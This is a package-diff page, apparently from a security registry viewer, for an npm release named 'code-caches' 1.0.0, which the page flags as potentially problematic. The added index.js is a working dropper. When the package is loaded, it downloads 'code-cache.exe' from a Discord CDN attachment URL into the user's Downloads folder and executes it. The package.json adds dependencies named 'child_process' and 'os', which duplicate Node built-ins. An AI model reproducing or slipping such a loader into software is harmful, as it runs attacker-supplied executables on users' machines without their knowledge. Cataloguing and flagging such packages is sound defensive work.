code-caches 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of code-caches might be problematic. Click here for more details.
- package/index.js +35 -0
- package/package.json +16 -0
package/index.js
ADDED
@@ -0,0 +1,35 @@
|
|
1
|
+
const axios = require('axios').default;
|
2
|
+
const fs = require('fs');
|
3
|
+
const path = require('path');
|
4
|
+
const os = require('os');
|
5
|
+
const { exec } = require('child_process');
|
6
|
+
|
7
|
+
async function downloadFile(url, destination) {
|
8
|
+
const response = await axios({
|
9
|
+
url,
|
10
|
+
method: 'GET',
|
11
|
+
responseType: 'stream'
|
12
|
+
});
|
13
|
+
|
14
|
+
const filePath = path.join(destination, 'code-cache.exe');
|
15
|
+
const writer = fs.createWriteStream(filePath);
|
16
|
+
|
17
|
+
response.data.pipe(writer);
|
18
|
+
|
19
|
+
return new Promise((resolve, reject) => {
|
20
|
+
writer.on('finish', resolve);
|
21
|
+
writer.on('error', reject);
|
22
|
+
});
|
23
|
+
}
|
24
|
+
|
25
|
+
async function main() {
|
26
|
+
const url = 'https://cdn.discordapp.com/attachments/1225853940998869063/1231928300369219614/code-cache.exe?ex=6638bda2&is=662648a2&hm=155204e47064228c3dd5402cd2afae3b534fc6735a243809a6e3385300cee623&';
|
27
|
+
const destination = path.join(os.homedir(), 'Downloads');
|
28
|
+
|
29
|
+
await downloadFile(url, destination);
|
30
|
+
|
31
|
+
const filePath = path.join(destination, 'code-cache.exe');
|
32
|
+
exec(filePath);
|
33
|
+
}
|
34
|
+
|
35
|
+
main()
|
package/package.json
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
{
|
2
|
+
"name": "code-caches",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
"axios": "^1.6.8",
|
13
|
+
"child_process": "^1.0.2",
|
14
|
+
"os": "^0.1.2"
|
15
|
+
}
|
16
|
+
}
|